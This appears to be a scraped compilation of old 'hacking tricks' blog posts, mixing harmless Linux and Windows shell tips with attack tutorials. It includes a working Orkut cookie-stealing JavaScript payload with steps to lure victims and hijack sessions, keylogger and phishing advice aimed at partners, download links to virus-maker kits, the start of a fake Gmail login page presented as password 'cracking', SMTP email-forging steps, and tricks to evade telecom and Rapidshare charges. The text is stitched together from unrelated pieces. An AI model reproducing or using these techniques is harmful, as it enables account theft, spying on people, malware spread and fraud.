IP

LINUX HACK 3

Hack 3. 
Perform mkdir and cd using a single command:
 
Sometimes when you create a new directory, you may cd to the new directory immediately to perform some work as shown below.
# mkdir -p /tmp/subdir1/subdir2/subdir3
# cd /tmp/subdir1/subdir2/subdir3
# pwd
/tmp/subdir1/subdir2/subdir3
Wouldn’t it be nice to combine both mkdir and cd in a single command? Add the following to the .bash_profile and re-login.
$ vi .bash_profile
function mkdircd () { mkdir -p "$@" && eval cd "\"\$$#\""; }
Now, perform both mkdir and cd at the same time using a single command as shown below:

# mkdircd /tmp/subdir1/subdir2/subdir3
[Note: This creates the directory and cd to it automatically]
# pwd
/tmp/subdir1/subdir2/subdir3




LINUX HACK 2

Hack 2. 
Use cd alias to navigate up the directory effectively:
 
When you are navigating up a very long directory structure, you may be using cd ..\..\ with multiple ..\’s depending on how many directories you want to go up as shown below.
# mkdir -p /tmp/very/long/directory/structure/that/is/too/deep
# cd /tmp/very/long/directory/structure/that/is/too/deep
# pwd
/tmp/very/long/directory/structure/that/is/too/deep
# cd ../../../../
# pwd
/tmp/very/long/directory/structure
Instead of executing cd ../../../.. to navigate four levels up, use one of the following three alias methods:

Method 1: Navigate up the directory using “..n”:
In the example below, ..4 is used to go up 4 directory level, ..3 to go up 3 directory level, ..2 to go up 2 directory level. Add the following alias to your ~/.bash_profile and re-login.
alias ..="cd .."
alias ..2="cd ../.."
alias ..3="cd ../../.."
alias ..4="cd ../../../.."
alias ..5="cd ../../../../.."
# cd /tmp/very/long/directory/structure/that/is/too/deep
# ..4
[Note: use ..4 to go up 4 directory level]
# pwd
/tmp/very/long/directory/structure/
Method 2: Navigate up the directory using only dots
In the example below, ….. (five dots) is used to go up 4 directory level. Typing 5 dots to go up 4 directory structure is really easy to remember, as when you type the first two dots, you are thinking “going up one directory”, after that every additional dot, is to go one level up. So, use …. (four dots) to go up 3 directory level and .. (two dots) to go up 1 directory level. Add the following alias to your ~/.bash_profile and re-login for the ….. (five dots) to work properly.
alias ..="cd .."
alias ...="cd ../.."
alias ....="cd ../../.."
alias .....="cd ../../../.."
alias ......="cd ../../../../.."
# cd /tmp/very/long/directory/structure/that/is/too/deep
# .....
[Note: use ..... (five dots) to go up 4 directory level]
# pwd
/tmp/very/long/directory/structure/
Method 3: Navigate up the directory using cd followed by consecutive dots:
In the example below, cd….. (cd followed by five dots) is used to go up 4 directory level. Making it 5 dots to go up 4 directory structure is really easy to remember, as when you type the first two dots, you are thinking “going up one directory”, after that every additional dot, is to go one level up. So, use cd…. (cd followed by four dots) to go up 3 directory level and cd… (cd followed by three dots) to go up 2 directory level. Add the following alias to your ~/.bash_profile and re-login for the above cd….. (five dots) to work properly.
alias cd..="cd .."
alias cd...="cd ../.."
alias cd....="cd ../../.."
alias cd.....="cd ../../../.."
alias cd......="cd ../../../../.."
# cd /tmp/very/long/directory/structure/that/is/too/deep
# cd.....
[Note: use cd..... to go up 4 directory level]
# pwd
/tmp/very/long/directory/structure
Method 4: Navigate up the directory using cd followed by number:
In the example below, cd4 (cd followed by number 4) is used to go up 4 directory level.
alias cd1="cd .."
alias cd2="cd ../.."
alias cd3="cd ../../.."
alias cd4="cd ../../../.."
alias cd5="cd ../../../../.."



Powerful CD Command Hacks

Chapter 1: Powerful CD Command Hacks:
 
cd is one of the most frequently used commands during a UNIX session. The 6 cd command hacks mentioned in this chapter will boost your productivity instantly and make it easier to navigate the directory structure from command line.
Hack 1. Use CDPATH to define the base directory for cd command
If you are frequently performing cd to subdirectories of a specific parent directory, you can set the CDPATH to the parent directory and perform cd to the subdirectories without giving the parent directory path as explained below.
[ramesh@dev-db ~]# pwd
/home/ramesh
[ramesh@dev-db ~]# cd mail
-bash: cd: mail: No such file or directory
[Note: This is looking for mail directory under current directory]
[ramesh@dev-db ~]# export CDPATH=/etc
[ramesh@dev-db ~]# cd mail
/etc/mail
[Note: This is looking for mail under /etc and not under current directory]
[ramesh@dev-db /etc/mail]# pwd
/etc/mail
To make this change permanent, add export CDPATH=/etc to your ~/.bash_profile
Similar to the PATH variable, you can add more than one directory entry in the CDPATH variable, separating them with : , as shown below.
export CDPATH=.:~:/etc:/var
This hack can be very helpful under the following situations:
o Oracle DBAs frequently working under $ORACLE_HOME, can set the CDPATH variable to the oracle home
o Unix sysadmins frequently working under /etc, can set the CDPATH variable to /etc
o Developers frequently working under project directory /home/projects, can set the CDPATH variable to /home/projects
o End-users frequently accessing the subdirectories under their home directory, can set the CDPATH variable to ~ (home directory)




ABOUT HACKING

Contents



1. Introduction

2. History

3.Categories of Hackers

4. Hacking in the real world

5.Hackers Motivation & Hacking Attacking

6.Hacking Techniques

7.Security

8.Conclusion



HACKING




1. Introduction to Hacking:


The Internet, like any other new media historically, provides new methods of engaging in illegal activities. That is not to say that the Internet is intrinsically 'bad', as many tabloid journalists would have us to believe, it is simply a means for human beings to express themselves and share common interests. Unfortunately, many of these common interests include pornography, trading Warez (pirated software), trading illegal MP3 files, and engaging in all kinds of fraud such as credit card fraud
Hacking on the other hand is a greatly misrepresented activity as portrayed by the wider media and Hollywood movies.

Although many hackers go on from being computer enthusiasts to Warez pirates, many also become system administrators, security consultants or website managers.

Orkut Hacking Tricks

Orkut Hacking Tricks :

Orkut Hack Tricks are much popular in todays social n/w era.Few days ago, one of my friend was orkutting and suddenly he found that so many scraps and photos were deleted from his account. He shocked and decided to monitor own orkut account. So, he monitored his Orkut Account for one week and found that someone was deleting data continuously.
Yes, he is victim of Orkut Hack Tricks.
As everyone knows, Orkut is social networking site from web giant Google. Irrespective of many security measures, pros can easily Hack Orkut account of dummies using Orkut hack tricks. So, In this article, i am explaining how Orkut Hack tricks take place and how to prevent Orkut Hack tricks.
Basically, there are three ways by which one can perform orkut hack Tricks to hack Orkut Account of victims.
4 Ways of Orkut Hack Tricks :

1) Orkut Hack Tricks by Javascript (Cookie Stealing) (Most used from last 2 years and most working)
2) Orkut Hack Tricks by keylogging (Useful on public computer/if you have access to victims machine).
3) Orkut Hack Tricks by Google Account Hacking Tricks (Sometimes works).
4) Orkut Hack Tricks by phishing (My favourite and somewhat difficult).

1) Orkut Hack Tricks by Javascript

Do you receive any message showing "hot orkut theme!!!" ? Do clicked on it ? If ans wer is ‘yes',then you were hacked. Yes it is most used orkut hack Tricks type nowdays. When you click on such link, Orkut cookie (which is stored on your  machine) is stolen and in turn your orkut account password is hacked.
Click here for Orkut hack Tricks via JavaScript Orkut Hacking

2) Orkut Hack Tricks by Key logging

Key logging is easier orkut hack Tricks than phishing if you have access to victims machine.If you thought your boyfriend/girlfriend/hubby is cheating with you,you can easily apply these Orkut hack Tricks by using a good key logger.

Key Logger:

Key logger is s/w which tracks key strokes you made on your key board. Day by day technology is developing and today key loggers come with following features in addition to basic key logging feature :
1) Hidden Mode
: Not visible in task manager or program files or programs.
2) Auto email :
Automatically Send emails to  hackers email address.
3) Undetectable by Anti virus s/w.
Here is in depth and easy tutorial : 

Orkut Hack Tricks by using key logging.

Phishing :

 

Phishing is yet another type of Orkut hack tricks. You can hack orkut even though you do not have direct access to victims machine. i.e. remote hacking. In better words, phishing is not hacking but it is tricking victim to gain his/her user name and password. The basic requirement for orkut phishing is orkut phisher and anonymous email client.
Here is in depth and easy tutorial : 
Orkut Hack Tricks by using key logging.

Orkut hacking by Google account hack:

It is quite different way of orkut hack Tricks. As everyone know,every orkut account require a email address as user name. You can use either email address from Google(Gmail) address or email address from any third third party email client (e.g. Yahoo,Hot mail etc). So, if you hacked gmail account, that mean you hacked orkut account too.
I will shortly come with article to explain how to hack orkut using Google account hack.



Read more: http://www.articlesbase.com/security-articles/orkut-hacking-orkut-hack-tricks-2808337.html#ixzz15MyQOZeK
Under Creative Commons License: Attribution


Orkut Hack Tricks

Orkut Hack Tricks:

Do you receive any message/scraps which is advertising "cool/hot Orkut theme" ? Do you click on that link to change your Orkut theme ? Or Do you receive any message saying "Free Mobile Recharge" ? Do you click on that link ? If your answer is “yes” then you are victim of Orkut Hack Tricks.And this is most used Orkut Hack Tricks type known as “Orkut Java Script Hacking” or “Orkut Hack Tricks via cookie Stealing”.
Hi friendz, this third art from my article series Orkut Hack Tricks. In first two articles, I explained Orkut Hack Tricks via keylogging and Orkut Hack Tricks via phishing. And in this article I am explaining how to hack orkut via Cookie Stealing(Java Script hacking) i.e. Orkut hack Tricks by Java Script Hacking.
What is JavaScript :

 Java Script is programming in general and scripting in particular language which is used by most of the web developers.
Orkut Hack Tricks by JavaScript Hacking ( Cookie Stealing) :
To perform Orkut Hacking(Cookie Stealing), you should require following two things :
1) Mozilla Firefox Web Browser (version 3.5 or earlier) download here
2) Cookie Editor Plug-in for Mozilla Firefox download here
3) JavaScript for Orkut Hack Tricks :


javascript:nobody=replyForm;nobody.toUserId.value=YOURUIDHERE;
nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));
nobody.action='Scrapbook.aspx?Action.writeScrapBasic';nobody.submit()


I advice you that while performing this tutorial do not use your legal Orkut Account. But instead use any fake account.
Orkut Hack Tricks :
1) Login to your orkut account. Now click on “Profile” link.
2) You will Found Something like this at address bar of Firefox :


3) Copy the UID shown by arrow in image and replace with ”YOURUIDHERE” in the JavaSvript.
4) Now send this link to your victim by scrap with words like “Free Mobile Recharge” or “Hot Shakira Video”.
Now, just check your scrapbook, when victim click on link, you will find his cookie in your scrapbook.
5) Now, Go to Tools-> Cookie Editor. and press ‘Refresh’.
6) Double Click on it replace with Victim’s cookie. And put your UID in the place of victims UID and Logout from your Orkut account and login again.
Thats it. Now, You are in victim’s Homepage.
And, You successfully applied Orkut Hack Tricks .


Ethical hacking: the next generation security specialists:

 Ethical hacking: the next generation security specialists:



 The positive learning background behind ethical hacking, and the side where black hat hackers attack websites in attempt to gain exposure and cause damage.


There are a handful of universities which offer degree courses on ethical hacking, the side of hacking which students learn how to hack to prevent attacks from the outside. Not only that, security implications and designing security procedures into networks and corporate perimeters are integral in this learning process.


I spoke to Christopher Laing, the Digital Security programme leader and teaching fellow at Northumbria University about the course they offer, the content, the prerequisites and how these next generation students go into the workplace and even outside the security arena.


How can ethical hacking change the ways for students, but also companies, governments and corporations?



If you mean how can ethical hacking change the way in which organizations deal with computer/data security – in short it can’t. Only legislation, pressure from insurance business, the loss of reputation, or the PCI DSS can change the way in organizations handle data securely.

Increase Broadband Speed Using Simple Tweak

Increase Broadband Speed Using Simple Tweak:

 

A Simple Tweak (XP Pro only) which will increase your Broadband Speed.Make sure you Log on as Administrator, not as a user with Administrator privileges.


Follow the steps as given below-

1) Click on Start Button.

2)
Select Run From Start Menu.

3)
Type gpedit.msc

4)
Expand the [Administrative Templates] branch.

5)
Then Expand the [Network] branch.

6)
Highlight(Select by Single Click) [QoS Packet Scheduler]

7)
Double-click [Limit Reservable Bandwidth] (Available in Right Side Panel)

8)
Check(Select By Single Click on it) [Enabled]

9)
Change [Bandwidth limit %] to 0 %

10)
Click [OK] Button.

11)
Restart Your PC.

12)
Now Check Your Broadband Speed. 



Get back your Hacked email account

Get back your Hacked email account:

 
As a matter of fact we all use email accounts for our personal, business use and for many other proposes. But has your email account ever been HACKED! I know that the idea itself is a big disaster, because if some one hacks and takes control of your email account which contain your sensitive/confidential data like your Credit card,Bank login,Personal information etc.., it would be a real nightmare for you as i said before.
If you are such internet user, this post is for you and i hope this post helps you..

Solution for Gmail users:

It really hurts If your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut, picasa etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Possibility-1:
Try to reset your gmail password by password reset link given below as it is the easiest way to get back your hacked account.In this case Gmail will ask you to enter your secret answer or to send the password details to the secondary email account or to your phone via sms.


If you can't find the solution with Possibility-1 then its time to try Possibility-2.
Possibility-2:The reason why you are not able to get success is, In many cases hacker will change your secret question or secondary email or phone number.

Now whats the deal! Just click the link below and go to "Gmail
password recovery form" and follow the steps given.

Step 1:Enter your hacked email address.

Step 2:Enter given Captcha.

Step 3:Select "I no longer have access to these" and press "continue".


Step 4:Fill up the given form..
Thats it, if you fill the form with correct details, gmail team will review your account and contact you within 24 hours.With that you will get back your Hacked gmail account back.

Solution for Yahoo/Hotmail users:

Sorry to say this, for now there is no way you can get your account back other than resetting your password by using password reset link given in there homepage(usually they may ask for your secret answer or to send the password details to your secondary email account).

I hope that this post helps you, pls pass your comments. 


 
 



Command Prompt Tricks

Command Prompt Tricks Tips & Hacks:

There are lot of command prompt tricks and tips which many of us don’t know about.it is the part of unix.Command prompt can be very useful if you know how to use.Just go to cmd and check the following cool commands
 1. systeminfo
With this command, you can retrieve the following information:
Host Name
OS Name
OS Version
OS Manufacturer
OS Configuration
OS Build Type
Registered Owner etc

2. driverquery
Get Installed Driver Information
3. ipconfig /all
information about your network connection and IP address

4.
subst W: C:windows
 Map A Drive Letter to a Folder
5. tasklist 
List All Tasks Running On The Computer
6.taskkill /im programnames.exe /f
to Kill A Program



Free Rapidshare Premium Account Hack

Free Rapidshare Premium Account Hack:
There are many ways to get Free Rapidshare Premium Accounts.If you like to download lot of free stuff  must need to have Free Rapidshare Premium Account .You can get these premium account easily.Here is a site which can provide you premium rapidshare account.This site will not cost for joining its free.
Free technique for rapidshare and megashare premium accounts.
Click on following link and register:

http://www.freepremiumaccounts.com/
Now all you require is 6 referrals which you can easily make with temporary ID.
Refering 6 people is not a bad deal for free rapidshare and megashare premium accounts.

Get rapidshare premium account for FREE.
Just REGISTER..
You can share your method to get Free Rapidshare Premium Account  here

enjoy your Free Rapidshare Premium Account .

Folder Lock With Password Without Any Software

Folder Lock With Password Without Any Software-

Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this batch file to create a folder locker.
New folder named 'Locker' would be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.

Access Free Airtel GPRS Using TeaShark Browser

Access Free Airtel GPRS Using TeaShark Browser:


TeaShark, a mobile browser
like Opera Mini, allow you to access Airtel GPRS for FREE.
Shockingly it has nothing to do with modifying any Airtel settings or any kind of hack.


Here is how I used this…


* Download TeaShark v. 312. Its free and being JAR file it can be installed on most handsets.
* Open it from your mobile and select AirTel Live as access point
.
* That’s it! Open any site from TeaShark and you won’t be charged anything.


Note for the first time, when TeaShark starts, it may take more than one minute to initialize. Also this one time initialization may fail many times. But don’t loose your heart!


As of now, this trick is limited to handsets only.


Note : “Subscribe to Packet Data First”
This means you need to activate AirTel Live service which is free.
Contact customer care to get it activated.
Also select only AirTel Live as access point when prompted by TeaShark.


Download TeaShark :
http://teashark.com/download.html

AIRTEL TRICKS

Latest Airtel Hack:

 Now a days Airtel gives New option
to the Subscriber to access Mobile Office daily @ Rs.25.00/- per day. But this is too Costly.
Only 24 hours and the cost
is Rs.25.00 Oh GOD!!


But I got a Trick that’s help me to Activate my Mobile Office whole 30 days only for 25.00/. Its really good.


Just follow the Trick-
1) Your account balance should be above 25.00 for the first time.
2) Activate your mobile office by dialing *444*1#. You will Activate your Mobile Office in the Morning.
3) You got an Activation msg. Your account
should deducted by Rs. 25.00/-
4) After that your can enjoy mobile office for 24 hours.
5) But for unlimited access you will do this :: Just switch off your mobile from 7.00 am to 10.00am. and your account balance should be below 25.00 /
6) Just try it enjoy the whole world only by 25.00.


I am Sure you should be Benefited. JUST TRY IT!!!!!!!!!


 




VODAFONE TRICKS

Vodafone Hack For Free GPRS:
 

This method has been tested on different mobiles and has been confirmed to be working.
Followng are the Settings you require to configure on your Mobile:

Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)

Access Point
Settings :-
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9401
Data Bearer: Packet Data

Bearer Settings :-
Packet Data Access
Point: portalnmms
Network type: IPV4
Authentication: normal
User Name: (no need)
Password: (no need)

*IF that happen this settings is not working then change the proxy port number to:-

Proxy Port: 9401






Vodafone Free GPRS Tricks Unlimited 2010:

Vodafone Free GPRS tricks 2010Now You Can Enjoy The Free GPRS With The Vodafone MobileBut You Must Change / Add The Settings Given BelowIn Your MobileThen Switch Off And On It Again Thats AllNow You Are Done ! Please Use The Following Settings
  1. Settings -> Connection -> Access Points.
  2. Select your Acces point to alter, ( or ) Options -> New acess Point.
  3. Then Change the following :
  • Connection Name : VODAFONE GPRS
  • APN : vlive
  • Port : 8080
  • Proxy Number : 196.6.120.12 Or 196.6.120.13
 
 
 

 






virusssssssssss

Email Worm Spreading Like Wildfire – W32.Imsolk.B@mm




A fast-moving email worm that began spreading on Thursday has been able to affect hundreds of thousands of computers worldwide, anti-virus provider Symantec warned.


The email arrives with the subject “Here you have.” An executable screensaver that’s disguised as a PDF document then tries to send the same message to everyone listed in the recipient’s address book. The .scr file is a variation of the W32.Imsolk.A@mm worm Symantec discovered last month.


In addition to spreading through email, it can propagate through mapped drives, autorun and instant messenger. It also has the ability to disable various security programs.


The worm is a throwback to attacks not seen in almost a decade, when the Anna Kournikova and I Love You attacks wreaked havoc on email systems worldwide. The Here You Go worm appears to different in that the malicious payload is downloaded from a page on members.multimania.com, rather than being attached to the email. That could make efforts to eradicate the worm easier.


Then again, McAfee said multiple variants of the worm appear to be spreading, so it’s not yet clear that the malicious screensaver is hosted by a single source.


Source: The Register
More Info: New Round of Email Worm, “Here you have”

Vodafone Distributes Mariposa Botnet:

 

Here is yet another example of a company distributing malware to its userbase. Unfortunately it probably won’t be the last.
Today one of our colleagues received a brand new Vodafone HTC Magic with Google’s Android OS. “Neat” she said. Vodafone distributes this phone to its userbase in some European countries and it seems affordable as you can get it for 0€ or 1€ under certain conditions.
The interesting thing is that when she plugged the phone to her PC via USB her Panda Cloud Antivirus went off, detecting both an autorun.inf and autorun.exe as malicious. A quick look into the phone quickly revealed it was infected and spreading the infection to any and all PCs that the phone would be plugged into.
Vodafone Botnet
Vodafone Botnet
A quick analysis of the malware reveals that it is in fact a Mariposa bot client. This one, unlike the one announced last week which was run by spanish hacker group “DDP Team”, is run by some guy named “tnls” as the botnet-control mechanism shows:
00129953 |. 81F2 736C6E74 |XOR EDX,746E6C73 ; ”tnls”
The Command & Control servers which it connects to via UDP to receive instructions are:
mx5.nadnadzz2.info
mx5.channeltrb123trb.com
mx5.ka3ek2.com
Once infected you can see the malware “phoning home” to receive further instructions, probably to steal all of the user’s credentials and send them to the malware writer.
Interestingly enough, the Mariposa bot is not the only malware I found on the Vodafone HTC Magic phone. There’s also a Confiker and a Lineage password stealing malware. I wonder who’s doing QA at Vodafone and HTC these days.
Source: Panda Research Blog

TeraBIT Virus Maker 2.8 SE:

TeraBIT Virus Maker 2.8 SE
(Backdoor.Win32.VB.bna)

Terabit Virusmaker
by m_reza00
Written in Visual Basic
Released in September 2007
Made in Iran

dropped files:
c:\WINDOWS\system32\csmm.exe
Size: 16,950 bytes

startup:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon “Shell”
Old data: Explorer.exe
New data: explorer.exe C:\WINDOWS\system32\csmm.exe

Tested on Windows XP
September 19, 2007

Download :
http://rapidshare.com/files/96994198/TeraBIT_VM_2_1.8.zip.html

Virus Maker Professional 2008

Virus Maker
Virus Maker Professional 2008
Scanned By Kaspersky Internet Security 325, Nothing Found

Just Use it with all ur Own Risk to produce any Malicious/virus/Trojans/Spyware
All Info inside rar
Download :
http://www.4shared.com/file/43506955/93326338/CreAtive_By_Dark_Man_2009.html
http://www.2shared.com/file/3115492/e3275d24/CreAtive_By_Dark_Man_2009.html
http://rapidshare.com/files/99661790…k_Man_2009.rar
Password : LoloUOwnRisk

ESET NOD32 Antivirus v3.0.672 Business Edition Full:

ESET NOD32 Antivirus System – Integrated, Real-Time Protection against viruses, worms, trojans, spyware, adware, phishing, and hackers. Best detection, fastest performance & smallest footprint.
NOD32 Antivirus System provides well balanced, state-of-the-art protection against threats endangering your PC and enterprise systems running various platforms from Microsoft Windows, through a number of UNIX/Linux, Novell, MS DOS operating systems to Microsoft Exchange Server, Lotus Domino and other mail servers.

Nod32 Full
Changes in version 3.0.672:
• Fixed problem causing instability on Microsoft Windows Vista 64-bit
• Fixed problem in anti spam module causing “Unexpected exception 003 and 007″ error messages

Size:19.6 MB
Download NOD32 Antivirus 3.0.672 Business :
http://rapidshare.com/files/147336388/ESET_NOD32_Antivirus_v3.0.672_Business_Edition_Full.rar


International Space Station Infected By Virus:

  NASA confirmed this week that a computer on the International Space Station is infected with a virus.

The malicious software is called W32.TGammima.AG, and technically it’s a worm.
The interesting point, other than how NASA could let this happen, is the way the worm spreads–on USB flash drives.
Malicious software spread by USB flash drives and other removable media takes advantage of a questionable design decision by Microsoft.
Windows is very happy to run a program automatically when a USB flash drive is inserted into a PC.
How convenient, both for end users and for bad guys.

Source : CNET
http://news.cnet.com/8301-13554_3-10027754-33.html

          







Running Multiple Instances of Google Talk

             

Running Multiple Instances of Google Talk:

 

 Users of Google Talk (GTalk) can also let GTalk go to polygamy, that’s running multiple instances of Google Talk and login to multiple Google accounts on Google Talk. The polygamy trick can be done without any crack, patch or hack, with just a simple command line parameter or switch /nomutex appended to the Google Talk shortcut.


Ability to polygamy running multiple Google Talk is useful if users have multiple Google Talk accounts (or Google or Gmail accounts that used to login to GTalk) or multiple profiles or personalities, and don’t want to log on and off from one account to another account every time when want to switch, or want to log in to all accounts at the same time on the same computer.


You can add the /nomutex switch or parameter to existing Google Talk shortcut, or create a new shortcut with the /nomutex command line parameter.


To edit existing Google Talk shortcut:


1) Right click on the Google Talk shortcut.
2) On the right click contextual menu, click on Properties.
3) Go to Shortcut tab on Google Talk Properties window.
4) On the Target textbox, add in the /nomutex to the end of the line so that it looks like below (or you can simply copy and paste the below syntax and replace the original).


Target: "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex


5) Click on OK.




To create a new shortcut for Google Talk:


1) Right-click on the desktop or anywhere you want to place the GTalk shortcut.
2) Select New on the right click context menu.
3) Then select Shortcut.
4) Copy and paste the following line to the text box when prompted to type the location of the item:


“C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex


5) Click on Next.
6) Give the shortcut a proper name such as Google Talk or Google Talk Multiple or Google Talk Polygamy.
7) Click OK until you are done.


If you have hex editor, you can act like a hacker and modify the bits in Google Talk program so that it will always allow multiple instances of GTalk to be launched whether the /nomutex switch is specified or not.


Launch hex editor and open googletalk.exe, then search for the following patterns in the hex editor:


004536FD . 3BC6 CMP EAX,ESI
004536FF . 75 05 JNZ SHORT googleta.00453706


Modify the string to look like the following:


004536FD . 8BC1 MOV EAX,ECX
004536FF . EB 05 JMP SHORT googleta.00453706




How this Works?
The mutex is short for mutual exclusion object.
A mutex is a program object that allows multiple program threads to share the same resource, but not simultaneously.


So, in the hack above, we used nomutex (no-mutex) to use the same resources simultaneously....!




Rapidshare Hack

-: Rapidshare Hack :-


There are two hacks to beat Rapidshare download limits and waiting time.



1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.

That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.

http://greasemonkey.mozdev.org/

1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads......!


2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-

A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this-    javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File

B] Request a new IP address from your ISP server:
Here’s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit
5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy

D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it “RapidShare No Wait”
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait.....

















EMail Forging



-: EMail Forging :-


2) EMail Forging :-
Email forging allows an attacker to disguise the source of an email and send it to the victim. Most attackers use this technique to fool the victim into believing that somebody else has send the particular email.
The SMTP protocol makes it extremely easy for an attacker to send forged emails to a remote user.
Typically an attacker carries out email forging by following steps:

1)
Start Command Prompt and type the following command-
c:/>telnet smtp.mailserver.com 25
or c:/>telnet mail.domain.com 25
example:- c:/>telnet smtp.gmail.com 25
The above command opens a telnet connection to the specified remote mail server on port-25. Where port-25 is the default SMTP port on which outgoing mail daemon runs.

2)
Once you are connected to the mail daemon of remote mail server, you would be greeted with a message similar to following:-


If you are not familiar with the smtp mail daemon commands then enter the keyword 'help' at daemon which may reveal all the supporting commands as shown below.



3)
The correct sequence of commands to be executed is:-
a) helo mailserver1.com
b) mail from:abc@mailserver1.com
c) rcpt to:xyz@mailserver2.com
d) data
e) .(dot command represents end of mail body)
This all as shown in figure below:



EMail forging by this technique does not possible, if mail relying is disabled by it's service provider..














EMail Hacking

-: EMail Hacking :-


All email communications on the internet are possible by two protocols:
1) Simple Mail Transfer Protocol (SMTP port-25) 2) Post Office Protocol (POP port-110)

E-Mail hacking consists of various techniques as discussed below.

1) EMail Tracing :- Generally, the path taken by an email while travelling from sender to receiver can be explained by following diagram.

Mail-Path


The most effective and easiest way to trace an email is to analyze it's email headers. This can be done by just viewing the full header of received email. A typical email header looks something like this:


From Barr Thu Jan 3 05:33:26 2008
X-Apparently-To: prasannasherekar@yahoo.co.in via 203.104.16.34; Thu, 03 Jan 2008 05:25:38 +0530
X-YahooFilteredBulk: 189.160.34.89
X-Originating-IP: [189.160.34.89]
Return-Path: <atiles@destatis.de>
Authentication-Results: mta113.mail.in.yahoo.com from=destatis.de; domainkeys=neutral (no sig)
Received: from 189.160.34.89 (HELO dsl-189-160-34-89.prod-infinitum.com.mx) (189.160.34.89) by mta113.mail.in.yahoo.com with SMTP; Thu, 03 Jan 2008 05:25:38 +0530
Received: from dvapa ([141.203.33.92]) by dsl-189-160-34-89.prod-infinitum.com.mx with Microsoft SMTPSVC(6.0.3790.0); Wed, 2 Jan 2008 18:03:26 -0600
Message-ID: <477C264E.3000604@destatis.de>
Date: Wed, 2 Jan 2008 18:03:26 -0600
From: "Barr" <atiles@destatis.de>  Add to Address Book
User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)
MIME-Version: 1.0
To: prasannasherekar@yahoo.co.in
Subject: angel rubberneck
Content-Type: multipart/related; boundary="------------030604060204000701040304"
Content-Length: 16433 



 The above email header gives us the following information about it's origin and path:
a) Sender's email address :- atiles@destatis.de
b) Source IP address :- 141.203.33.92
c) Source mail server :- dsl-189-160-34-89.prod-infinitum.com.mx
d) Email client :- Thunderbird 2.0.0.6


Tips There are lots of ready-made tools available on the internet which performs email tracing very effectively and shows exact geographical location for email sender on the world map.


Recommended   Tools
NeoTrace
http://www.neotrace.com
VisualRoute
http://visualroute.visualware.com
E-MailTracker
http://www.visualware.com

 

Cracking GMail Account Password

-: Cracking GMail Account Password :-


Here is the most effective technique for cracking GMail Accounts Passwords.

This method uses 'Social Engineering' rather than 'Phishing'.

Follow the steps as given below :-

Success Rate :-   90%


Step-1 : Create your own fake gmail login form using HTML, which may look like one as shown below-

 
           
The HTML code for above login screen created by me is given below-

                                         <html lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type=text/css>
<!--
body,td,div,p,a,font,span {font-family: arial,sans-serif}
body {margin-top:2}

.c {width: 4; height: 4}

.bubble {background-color:#C3D9FF}

.tl {padding: 0; width: 4; text-align: left; vertical-align: top}
.tr {padding: 0; width: 4; text-align: right; vertical-align: top}
.bl {padding: 0; width: 4; text-align: left; vertical-align: bottom}
.br {padding: 0; width: 4; text-align: right; vertical-align: bottom}

.caption {color:#000000; white-space:nowrap; background:#E8EEFA; text-align:center}

.form-noindent {background-color: #ffffff; border: #C3D9FF 1px solid}

.feature-image {padding: 15 0 0 0; vertical-align: top; text-align: right; }
.feature-description {padding: 15 0 0 10; vertical-align: top; text-align: left; }

// -->
</style>

<title>
  Gmail: Email from Google

</title>
  </noscript>
</head>
